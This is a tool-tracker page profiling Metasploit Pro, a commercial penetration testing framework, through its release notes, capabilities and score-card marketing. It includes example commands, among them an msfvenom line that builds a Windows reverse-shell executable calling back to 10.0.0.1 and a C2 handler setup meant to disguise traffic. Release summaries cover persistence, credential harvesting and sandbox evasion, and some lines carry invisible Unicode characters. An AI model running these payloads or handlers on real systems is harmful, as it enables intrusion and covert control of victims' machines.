PAGES
← all tools
◆ Exploitation & C2

Metasploit Pro

October 19, 2026: 5.1.0-2026101901 commercial

Metasploit Pro is a commercial penetration testing framework for identifying, exploiting, and validating security vulnerabilities in systems.

Summary

Metasploit Pro is a commercial exploitation and vulnerability validation tool, run as a desktop application, that structures a penetration test into discrete stages: create a project, gather target data, scan for vulnerabilities, exploit known weaknesses, and collect evidence for a report. It builds on the open-source Metasploit framework by wrapping the console-driven workflow in a project-based interface, using a built-in Nmap-backed discovery scanner to fingerprint hosts and enumerate services before an operator selects exploits and manages sessions. It is aimed at penetration testers and red teams who need to organize engagements by scope, department, or subnet and produce comparative reports at the end. Underlying releases add capabilities like Malleable C2 traffic shaping and KerberosKerberosA network authentication protocol that uses tickets issued by a trusted service. Users and services can prove their identities without sending a password to each application./certificate tracing, work testers can draw on directly within Pro. Launched in 2010 and still active, with 48 tracked releases and the last one 18 days ago.

Metasploit Pro is a commercial penetration testing framework for identifying, exploiting, and validating security vulnerabilities in systems.

How Metasploit Pro helps

Which hosts on this subnet are actually reachable and what is running on them?

the built-in Nmap-backed discovery scanner fingerprints each host and enumerates open ports and services, populating the project with host data before any exploit is chosen

Which of these live hosts have a known, exploitable weakness?

runs a vulnerability scan against the gathered host data and matches findings against available exploit modules, so an operator can move straight from a listed weakness to launching an exploit

Will this session's traffic stand out to whoever is watching the network?

reshapes the Meterpreter HTTPS payload traffic using a Malleable C2 profile, selectable from the module run page, payload generator, or listener setup, so the C2 pattern blends with expected baselines instead of showing up as raw framework traffic

Can I trust the certificate or Kerberos ticket a target handed back during this engagement?

traces peer certificates (including CSRs against AD CS) and Kerberos tickets at chosen detail levels across protocols like LDAPS, RDP, and Postgres over TLS, and renders stored or offline artifacts with the same output as live captures

How do I show two departments' engagements side by side at the end of a test?

separates each subnet or department into its own project workspace and generates a report per project, so findings can be compared across engagements rather than mixed together

Which sessions and evidence are left over after this engagement that still need clearing?

tracks sessions through post-exploitation and offers a cleanup step before report generation, so leftover access is closed out rather than reported on evidence still sitting on target hosts

all 34 features, with the evidence for each →

Languages

Not documented

Features

34 capabilities across 6 areas

Built from Metasploit Pro's releases, docs, README and our own runs. “Seen” marks the month we first spotted a release the vendor didn't date. Group names and tags are our labels.

Compare with peers →

What Metasploit Pro offers you

  • Command-line interface4
  • JSON data export1
  • MCP server1
  • Offline mode1
  • Scripting language support1
  • REST API
Exploitation and Post-Exploitation 3 capabilities Metasploit Pro is built around launching and managing exploits against target systems and maintaining access once a foothold is established. This area covers the core attack execution capabilities operators use throughout an engagement.
Payload generation shipped Generates payloads for a wide range of platforms and architectures, with guidance when encoder choices would be ineffective. 6 releases · 2 other sources · first seen Oct 2025

Also counts toward: Command-line interface

release

  • Adds a MIPS64 exec payload, updates the MIPSEL and MIPSBE exec payloads, and adds prepends for all three. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Pro: Adds a warning alert in the payload generator when encoder/none or encoder/eicar is selected. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Adds a new payload linux/loongarch64/chmod to change file permissions on LoongArch64 targets. April 27, 2026: 5.0.0-2026042601 · Apr 2026 · source · release history
  • Adds new bind shell and fetch payload support for Linux RISC-V targets January 20, 2026: 4.22.9-2026011901 · Jan 2026 · source · release history
  • Extends payload support to the LoongArch64 architecture with a new reboot payload December 17, 2025: 4.22.9-2025121601 · Dec 2025 · source · release history
  • Adds Windows fileformat module able to generate malicious Windows Script Host files October 27, 2025: 4.22.8-2025102701 · Oct 2025 · source · release history

example

  • Generate a Windows reverse-shell payload msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o payload.exe
  • List all available payloads msfvenom -l payloads
NTLM relay attacks shipped Relays NTLM authentication from HTTP clients to SMB servers to gain authenticated sessions without knowing credentials. 4 releases · 1 other source · first seen Aug 2026

release

  • Adds SessionType option to auxiliary/scanner/winrm/winrm_login to create a cmd-backed shell, a PSRP-backed PowerShell session, or automatically fall back to PowerShell when cmd shell creation is denied. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Introduces native Kerberos authentication relay capabilities to the framework's relay stack, including the new esc8_kerberos auxiliary module for exploiting AD CS Web Enrollment (ESC8). October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Adds an HTTP-to-SMB NTLM relay server module that relays incoming NTLM HTTP authentication requests to multiple SMB servers to establish SMB sessions. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Adds an HTTP to SMB Relay server module allowing users to relay an incoming NTLM HTTP authentication request to multiple SMB servers. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history

example

  • On a WinRM login attempt, automatically fall back to a PowerShell session when cmd shell creation is denied — useful against hardened Windows targets. use auxiliary/scanner/winrm/winrm_login set RHOSTS 192.168.1.50 set USERNAME administrator set PASSWORD P@ssw0rd set SessionType powershell run October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source
Linux Apache htaccess persistence shipped Plants a web shell via Apache .htaccess on Linux targets to maintain persistent access after initial compromise. 2 releases · first seen Aug 2026

release

  • Updates persistence modules to use create_process instead of cmd_exec. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Adds a new persistence module exploits/linux/persistence/apache_htaccess that plants a mod_cgi .htaccess web shell on Linux Apache targets. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
Payload Delivery and Staging 3 capabilities This area covers how Metasploit Pro gets payloads onto target systems across diverse operating environments. It includes protocol-based staging servers, fetch delivery methods, and support for non-standard architectures.
Windows on ARM payload support shipped Provides a reverse-TCP command-shell payload for Windows systems running on ARM AArch64 hardware. 4 releases · first seen Aug 2026

release

  • Adds Windows AArch64 fetch adapters, extending payload delivery to ARM64 Windows targets. October 19, 2026: 5.1.0-2026101901 · Oct 2026 · source · release history
  • Extends windows/smb/psexec to work with AArch64 targets. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Adds Windows AArch64 staged shell payloads. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Adds Windows on ARM (AArch64) reverse-TCP command-shell payload. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
RISC-V payload and encoder support shipped Provides stagers, stages, and encoders for attacking RISC-V 32-bit and 64-bit Linux systems. 2 releases · first seen Aug 2026

release

  • Adds four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Adds reverse_tcp and bind_tcp stagers and a shell command stage for RISC-V 64-bit and 32-bit little-endian Linux targets. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
Fetch payload delivery shipped Delivers payloads to Linux targets by staging them over FTP or TFTP using fetch-style multi payloads. 1 release · first seen Aug 2026

release

  • Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, and a TFTP server to rex/proto. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
C2 Communications and Evasion 3 capabilities Metasploit Pro allows operators to shape how command-and-control traffic looks on the wire to reduce detection risk. This area covers traffic profiling and the inspection of authentication and certificate data that defenders and operators both rely on.
CertificateTrace shipped Captures and displays TLS certificate details from HTTPS, LDAP, RDP, and PostgreSQL connections during engagements. 7 releases · first seen Apr 2026

release 7 total

  • Extends CertificateTrace to surface the server's TLS peer certificate when an HTTP module connects over HTTPS, using the same off / metadata / full enum. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Adds CertificateTrace peer cert tracing to PostgreSQL over TLS, and passes the SSL datastore option through to the underlying Postgres connection. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Adds a Certificate Signing Request (CSR) trace to the CertificateTrace functionality so operators can see the CSR printed when requesting certificates from AD CS. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Extends CertificateTrace peer cert tracing (using the existing off / metadata / full enum) to LDAP over TLS and RDP. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Extends CertificateTrace peer cert tracing to support LDAP over TLS and RDP using the existing off / metadata / full enum. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Adds a new modem session type that allows opening a session to an arbitrary modem and pivoting network traffic over it as if it were a Meterpreter session. July 1, 2026: 5.0.0-2026070101 · Jul 2026 · source · release history
Malleable C2 profile support shipped Loads a Malleable C2 profile to make Meterpreter HTTP/HTTPS traffic resemble normal network traffic patterns. 3 releases · 3 other sources · first seen Aug 2026

release

  • Adds MALLEABLEC2 option to all Meterpreter HTTP(S) payloads (Windows, Java, Python, PHP, Linux) to load a standard Malleable C2 profile and reshape HTTP(S) traffic. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Adds support for selecting Malleable C2 profiles from the single module run page, the payload generator, and the global persistent listeners page. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Pro: Adds support for selecting Malleable C2 profiles from the single module run page, the payload generator, and the global persistent listeners page. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history

docs

  • Malleable C2 Profiles Malleable C2 profiles let you customize the network traffic patterns of Metasploit’s Meterpreter payloads so that the C2 communication blends in with legitimate traffic. docs update · Aug 2026 · source

example

  • Select a Malleable C2 profile from the Pro UI to shape HTTP(S) traffic for Meterpreter payloads. In the Metasploit Pro console, navigate to the Payload Generator page and select your desired Malleable C2 profile from the dropdown menu. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source
  • Shape Meterpreter HTTPS traffic using a Malleable C2 profile to blend into expected network baselines during an engagement. use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_https set LHOST 10.0.0.1 set LPORT 443 set MALLEABLEC2 /opt/profiles/jquery.profile run August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source
KerberosTicketTrace shipped Parses and displays Kerberos ticket details from live authentication flows and offline artifacts. 5 releases · first seen Jun 2026

Also counts toward: Offline mode

release

  • Adds KerberosTicketTrace support to the auxiliary/admin/kerberos/forge_ticket module. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Introduces Rex::Proto::Gss::KerberosToken as a shared low-level implementation for handling Kerberos tokens carried by GSS-API and SPNEGO. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Adds improved granularity to KerberosTicketTrace: operators can now print the full trace, only tickets, or only metadata. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Reuses KerberosTicketTrace formatting for offline Kerberos artifact workflows so stored and converted tickets render with the same output style as live authentication. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Introduces KerberosTicketTrace datastore option for Metasploit’s Kerberos authentication flows to view AS-REQ/REP messages June 18, 2026: 5.0.0-2026061601 · Jun 2026 · source · release history
Reconnaissance and Discovery 1 capability Metasploit Pro includes modules for scanning and fingerprinting services on target networks before exploitation begins. This area helps operators understand what is running and where before committing to an attack path.
FTP service scanning and fingerprinting shipped Scans FTP services, identifies them from banners using fingerprint data, and lists directories on discovered targets. 3 releases · first seen Aug 2026

release

  • Adds auxiliary/scanner/scada/opcua_enum, a scanner module that detects OPC-UA servers speaking the OPC-UA TCP binary transport (opc.tcp://).⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Improves scanner/ftp/ftp_version to report the service when a host is up but no FTP banner is received. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Adds ftp_fingerprint and ftp_list_directory methods to the Exploit::Remote::Ftp mixin, leveraging recog to fingerprint targets from their banners. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
Operator Interface and Workflow 4 capabilities This area covers the interfaces and integrations through which operators control Metasploit Pro during an engagement. It includes the interactive console, API-level control, and the workspace database that ties activity together.
MCP server integration shipped Exposes module execution and session control through an MCP interface with authentication, input validation, and job tracking. 7 releases · 2 other sources · first seen Aug 2026

Shared capability: MCP server

Also counts toward: Command-line interface, MCP server

release 7 total

  • Adds Bearer Authentication to the MCP server plugin. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Adds --enable-dangerous-actions CLI flag to the msfmcpd server to enable MCP tools that wrap existing RPC endpoints for module and session control. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Adds eight new MCP tools wrapping existing RPC endpoints for module and session control, backed by strict per-tool input validation. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Adds resource and parents fields to the msf_service_info MCP tool, resource to msf_vulnerability_info, data to msf_note_info, and realm_key / realm_value to msf_credential_info. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Adds Bearer Authentication support to the MCP server plugin. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Adds --enable-dangerous-actions flag to the msfmcpd CLI to opt in to dangerous actions across the eight new MCP tools that wrap existing RPC endpoints for module and session control. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history

example

  • Enable MCP tools that perform dangerous module/session control actions on the Metasploit MCP server. msfmcpd --enable-dangerous-actions August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source
  • Start the MCP server with dangerous module-execution actions enabled so MCP tool integrations can run and check modules via RPC. msfmcpd --enable-dangerous-actions August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source
Interactive console shipped Provides the primary interactive console through which operators run modules, manage sessions, and control engagements. 4 releases · 1 other source · first seen Jul 2026

Also counts toward: Command-line interface

release

  • Adds MSFLOGO=nyan-cat.txt environment variable support to msfconsole for selecting the nyan cat banner. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Adds a new command-line flag to msfconsole to print the count of modules. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Improves start-up performance of msfconsole. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Adds -c flag to msfconsole search functionality to hide child elements of search results, with global options SearchSort and SearchChildMode for controlling result ordering and visibility. July 1, 2026: 5.0.0-2026070101 · Jul 2026 · source · release history

example

  • Launch the interactive Metasploit console msfconsole
Database connectivity shipped Maintains a database connection that operators can query to confirm engagement data is being recorded correctly. 3 releases · 1 other source · first seen Dec 2025

release

  • Updates JSON RPC support to now require authentication by default, either via the database with user credentials or an auth token. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • JSON RPC now requires authentication by default (via database credentials or auth token); existing unauthenticated JSON RPC clients will be rejected on upgrade. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Enables sessions to MSSQL servers that require encryption by adding a new MsTds::Channel for TLS negotiation December 17, 2025: 4.22.9-2025121601 · Dec 2025 · source · release history

example

  • Check the Metasploit database connection status msfconsole -q -x "db_status"
Network topology visualisation shipped Displays a visual map of discovered network topology so operators can understand target network layout at a glance. 2 releases · first seen Apr 2026

release

  • Pro: Adds multiple enhancements to the network topology page. August 3, 2026: 5.1.0-2026073001 · Aug 2026 · source · release history
  • Updates the network topology graph to show bruteforcible services present on a host. April 27, 2026: 5.0.0-2026042601 · Apr 2026 · source · release history
Other 20 capabilities
Web application scanning and exploitation shipped Includes scanner and exploitation modules targeting web applications, such as blind SQL injection against SPIP's date column escaping logic. 11 releases · first seen Oct 2025

release 11 total

  • Adds an authenticated exploit module for CVE-2024-9264, a DuckDB command injection in Grafana SQL Expressions. October 19, 2026: 5.1.0-2026101901 · Oct 2026 · source · release history
  • Adds an exploit module for CVE-2026-53959, a broken access control flaw in 4gaBoards versions 3.3.8 and below exposing the /api/users REST endpoint and fields including ssoGoogleEmail and ssoGithubEmail. October 19, 2026: 5.1.0-2026101901 · Oct 2026 · source · release history
  • Adds exploit modules for OpenCTI: one chaining CVE-2026-27960 and CVE-2026-39980 for unauthenticated remote command execution, and a SafeJS sandbox escape achieving RCE as root inside the API container (versions 6.8.16 and above). October 19, 2026: 5.1.0-2026101901 · Oct 2026 · source · release history
  • Adds an exploit module for EDB-52079, an unauthenticated RCE in dizqueTV (Node.js IPTV server). October 19, 2026: 5.1.0-2026101901 · Oct 2026 · source · release history
  • Adds an exploit module for CVE-2026-42271, a command execution flaw in BerriAI LiteLLM proxy MCP test REST endpoints. October 19, 2026: 5.1.0-2026101901 · Oct 2026 · source · release history
  • Adds auxiliary/scanner/http/spip_annee_sqli, which exploits a blind SQL injection in SPIP's date column escaping logic. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
Cross-platform persistence shipped Provides persistence modules for multiple platforms, including a multi-platform persistence module for the Kate editor. 4 releases · first seen Nov 2025

release

  • Updates persistence modules to use create_process instead of cmd_exec. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Adds a multi-platform persistence module for Kate. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Adds a Windows persistence module targeting WSL, creating registry entries (Run, RunOnce) to run Linux payloads stored in WSL December 17, 2025: 4.22.9-2025121601 · Dec 2025 · source · release history
  • Adds new persistence module #20662 for Windows startup folder (user or system-wide) November 7, 2025: 4.22.9-2025110601 · Nov 2025 · source · release history
OPC-UA / ICS endpoint scanning shipped Scans ICS network segments for OPC-UA servers exposing the binary TCP transport and fingerprints Inductive Automation Ignition gateways via unauthenticated info endpoints. 4 releases · first seen Feb 2026

Also counts toward: JSON data export

release

  • Adds auxiliary/scanner/scada/opcua_enum, a scanner module that detects OPC-UA servers speaking the OPC-UA TCP binary transport (opc.tcp://).⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Adds an auxiliary scanner module that fingerprints Inductive Automation Ignition gateways across all major version families by probing unauthenticated info endpoints. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Adds MITRE ATT&CK tags and technique references to LDAP, AD CS, SMB account, SCCM, Windows password cracking, getsystem, cve_2020_1472_zerologon, and atlassian_confluence_rce_cve_2023_22527 modules March 3, 2026: 4.22.9-2026030301 · Mar 2026 · source · release history
  • Updates the MongoBleed auxiliary module to use the Wiz Magic Packet for quick detection, warn or halt if zlib is not enabled, reuse the MongoDB socket connection during memory scanning, and store extracted data in raw or JSON format. February 9, 2026: 4.22.9-2026020501 · Feb 2026 · source · release history
Post-exploitation session introspection shipped Extends post-exploitation mixins for Windows sessions with additional methods such as checking whether a path is writable. 2 releases · 1 other source · first seen Oct 2026

release

  • Updates post/linux/gather/enum_protections to detect AV/EDR software present on the target system. October 19, 2026: 5.1.0-2026101901 · Oct 2026 · source · release history
  • Adds support to the post mixin for Windows sessions to run the .writable? method. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history

example

  • Check a compromised Linux host for active AV/EDR products after gaining a session. use post/linux/gather/enum_protections set SESSION 1 run October 19, 2026: 5.1.0-2026101901 · Oct 2026 · source
IPv6 DNS-takeover coercion shipped Provides auxiliary modules for IPv6 router-advertisement and DHCPv6 DNS takeover to coerce Kerberos authentication as part of a relay attack chain. 3 releases · first seen Jan 2026

release

  • Adds auxiliary/spoof/ipv6/ipv6_ra_dns_takeover and auxiliary/spoof/dhcp/dhcpv6_dns_takeover modules to enable native IPv6 DNS-takeover coercion as part of a Kerberos authentication relay attack chain. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Adds auxiliary/spoof/ipv6/ipv6_ra_dns_takeover and auxiliary/spoof/dhcp/dhcpv6_dns_takeover modules for native IPv6 DNS-takeover coercion. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Adds Waku framework support to the React2Shell module via modular configuration January 20, 2026: 4.22.9-2026011901 · Jan 2026 · source · release history
Kerberos authentication relay shipped Provides native Kerberos authentication relay capabilities within the framework's relay stack. 3 releases · first seen Dec 2025

release

  • Introduces native Kerberos authentication relay capabilities to the framework’s relay stack. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • Adds a new NTLM relay module for relaying from SMB to MSSQL servers, opening an MSSQL session on success December 17, 2025: 4.22.9-2025121601 · Dec 2025 · source · release history
  • AD CS MetaModule now supports ESC10, ESC16, and ESC9 certificate abuse chains December 17, 2025: 4.22.9-2025121601 · Dec 2025 · source · release history
Module count reporting shipped Adds a command-line flag that prints the total count of available modules. 2 releases · first seen Dec 2025

Also counts toward: Command-line interface

release

  • Adds a new command line flag to print the count of modules. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
  • The auxiliary/scanner/ssh/ssh_login_pubkey module has been removed; functionality is now integrated into auxiliary/scanner/ssh/ssh_login December 17, 2025: 4.22.9-2025121601 · Dec 2025 · source · release history
WinRM scanning and session control shipped Scans WinRM services and allows operators to configure successful logins to open a cmd-backed shell, a PSRP-backed PowerShell session, or automatically fall back to PowerShell when cmd shell creation is denied. 1 release · 1 other source · first seen Oct 2026

Also counts toward: Scripting language support

release

  • Adds a SessionType option to auxiliary/scanner/winrm/winrm_login so successful WinRM logins can create either the existing cmd-backed shell, a PSRP-backed PowerShell session, or automatically fall back to PowerShell when cmd shell creation is denied. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history

example

  • Configure a WinRM scanner to force PowerShell sessions even when cmd is available. auxiliary/scanner/winrm/winrm_login set SESSIONTYPE PSRP October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source
Linux PAM persistence shipped Installs a malicious PAM shared object into the Linux authentication chain to maintain persistence, compiling it on the target when the system is not x64. 1 release · first seen Oct 2026

release

  • Adds a post module that uploads a PAM shared object file into the Linux authentication chain, compiling it on-target when the system is not x64. October 19, 2026: 5.1.0-2026101901 · Oct 2026 · source · release history
MongoDB enumeration and credential harvesting shipped Provides auxiliary modules to enumerate MongoDB instances, dump schema information, and harvest credentials including password hashes. 1 release · first seen Oct 2026

release

  • Adds mongodb_version, mongodb_login, mongodb_schemadump, and mongodb_hashdump auxiliary modules for MongoDB enumeration and credential harvesting.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ October 19, 2026: 5.1.0-2026101901 · Oct 2026 · source · release history
Windows persistence via Ollama auto-update shipped Establishes persistence on Windows hosts by leveraging the Ollama auto-update mechanism. 1 release · first seen Oct 2026

release

  • Adds a Windows persistence module that leverages the Ollama auto-update mechanism. October 19, 2026: 5.1.0-2026101901 · Oct 2026 · source · release history
JSON RPC authentication shipped Secures the JSON RPC interface by requiring authentication via database credentials or an auth token. 1 release · first seen Oct 2026

release

  • The default authentication logic in the JSON RPC support now requires authentication by default, either via the database with user credentials or an auth token. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
OSINT search integration shipped Integrates with external search engines such as ZoomEye (v2 API) to discover internet-exposed hosts, with retry logic and paged result caps. 1 release · first seen Oct 2026

release

  • Updates the ZoomEye search module to support the ZoomEye v2 API, adds a three-attempt retry limit, and caps results per page at 10. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
Reverse handler detection scanning shipped Scans ports on a host to determine whether each is a Metasploit reverse handler and identifies the shell type it expects. 1 release · first seen Oct 2026

release

  • Adds a scanner module that enumerates ports on a host to determine whether each is a Metasploit reverse handler and what kind of shell it expects. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
Sandbox and VM evasion shipped Provides a Linux x64 module that performs runtime environment checks and aborts execution when a sandbox or virtual machine is detected. 1 release · first seen Oct 2026

release

  • Adds a Linux x64 sandbox-evasion module that performs runtime environment checks and aborts execution when a likely sandbox or VM is detected. October 1, 2026: 5.1.0-2026093001 · Oct 2026 · source · release history
Modem session support shipped Opens and manages sessions to arbitrary modems, allowing network traffic pivoting over the modem link as if it were a Meterpreter session. 1 release · first seen Jul 2026

release

  • Adds a new modem session type that allows opening a session to an arbitrary modem and pivoting network traffic over it as if it were a Meterpreter session. July 1, 2026: 5.0.0-2026070101 · Jul 2026 · source · release history
WinRM session upgrade shipped Upgrades existing authenticated SMB sessions to Meterpreter sessions using PsExec techniques. 1 release · first seen Jul 2026

release

  • Adds the ability to upgrade authenticated SMB sessions to Meterpreter sessions using PsExec techniques. July 1, 2026: 5.0.0-2026070101 · Jul 2026 · source · release history
Payload archiving shipped Maintains a local archive of custom payloads and stages them into the data directory via a dedicated plugin. 1 release · first seen Jun 2026

release

  • Adds the payloads_manager plugin to maintain a local archive of custom payloads and stage them into the data directory June 18, 2026: 5.0.0-2026061601 · Jun 2026 · source · release history
Session reuse shipped Allows operators to re-run individual sessions using their previous configuration via the Pro interface. 1 release · first seen Dec 2025

release

  • Adds the ability to re-run individual sessions using their previous configuration via the Pro interface December 17, 2025: 4.22.9-2025121601 · Dec 2025 · source · release history
Windows application exploitation shipped Provides modules for exploiting specific Windows applications and services, such as NCR Command Center Agent via malicious XML. 1 release · first seen Nov 2025

release

  • Adds new unauthenticated RCE module #20650 for NCR Command Center Agent via malicious XML November 7, 2025: 4.22.9-2025110601 · Nov 2025 · source · release history

Lines in monospace are the tool's own words: help text parsed from its source, or an endpoint from its API document. Under release, a line is our summary of a dated release. Under docs, it is quoted from the tool's own documentation or website. Each links back to the source it came from.

Command line

5 commands for Metasploit Pro, each with where it came from. This tool has no source analysis yet, so there is no option reference and no captured run beside them.

Source

Screenshots

From the release notes, newest first. Click one to see it full size.

docs update Aug 11, 2026

August 3, 2026: 5.1.0-2026073001 Aug 3, 2026

Score card

  1. Shipping velocity releases a month, last 12 months
  2. Documentation quality release-notes rubric, 0–100
  3. Breaking-change discipline how rarely a release breaks users, and notice given
  4. Maintenance risk quiet time against its own cadence, maintainers
  5. Innovation & surface new capabilities, API and MCP surface

Five scores for Metasploit Pro, each built from the releases, notes and API history this site tracks — and, on Researcher and Business, where it stands among every measured tool in its category and how that has moved.

Score cards are part of every paid plan.

See plans →

Each score is 0–100 on a published rubric, derived from data this site already shows. A dimension we cannot measure says so — it is never scored 0 and never enters a rank.

How this is scored
  • Shipping velocity — releases a month over the last 12 months, on a log scale where 16 a month scores 100. Needs 3 releases in the window.
  • Documentation quality — the release-notes rubric published on the analytics page, unchanged.
  • Breaking-change discipline — the share of releases carrying a breaking change (none scores 100, half or more scores 0). Only projects that label breaking changes are measured: a clean record cannot be told from an unlabelled one.
  • Maintenance risk — quiet time measured against the tool's own release cadence (quiet longer than 90 days and three typical gaps scores 0), plus the number of active maintainers and whether contributors are growing, where known. Higher is lower risk.
  • Innovation & surface — new capabilities in the feature ledger this year, API and MCP operations added, and the share of commits that are features: the mean of whichever we hold.
  • Community health (open-source tools only) — each is a direction, not a size: contributors this year against last, the bus factor now against a year ago, and issues closed per issue opened, where steady scores 50, doubled 100 and halved 0; plus the median time to a maintainer's first reply (an hour scores about 100, a month or more 0). A commercial card has no repository and carries none of the four.
  • Documented delivery (commercial tools) — when a vendor's documented new capabilities have slowed against its own baseline, that counts against the overall standing as heavily as two low dimensions. Steady delivery, or too little history to judge, leaves the standing alone; it is never a sixth score.
  • Open-source tools are scored on repository signals; commercial tools on their published changelog. Ranks compare tools within one category and one profile and need at least five measured peers; the overall standing needs three ranked dimensions. Best-in-breed or consolidator is a shape, not a quality, and is never scored.

Release-note detail over time

See how much detail Metasploit Pro puts in its release notes, quarter by quarter, and compare it with tracked tools in the same category. This history uses up to ten retained, reviewed notes per tool; sparse or blank older quarters may reflect that limit.

Checking release-note history…

Explore the full chart →

Commercials

pricing & packaging history · Rapid7 vendor page

13 readings of Rapid7's pricing page since Oct 2021, with 1 relaunch of its plan lineup and 2 changes to what its plans include — each one dated, compared with the reading before it, and explained for someone buying the tool.

Pricing and packaging history is included with Researcher and Business. See how every vendor we track sells, and how that has changed over time, using data we don't publish anywhere else.

See plans →

Website history

metasploit.com, every change

Rapid7's home page and 4 more pages as they looked each month from August 2021 to October 2026: 37 renders, 0 changes of tagline or palette. Step through them, play them, or put any two months side by side.

Website history is included with Researcher and Business.

See plans →

Releases

Show

17 entries

  1. October 20263
  2. August 20263
  3. July 20261
  4. June 20261
  5. May 20261
  6. April 20262
  7. March 20261
  8. February 20261
  9. January 20261
  10. December 20251
  11. November 20251
  12. October 20251
    Show

    17 entries

    Add the badge to your README

    Maintain this project? The badge links readers straight to this page, so they can follow every release here.

    Tracked by Cyber Toolchain Choose a badge style and copy the code →
    browse all tools → score card for your toolchain →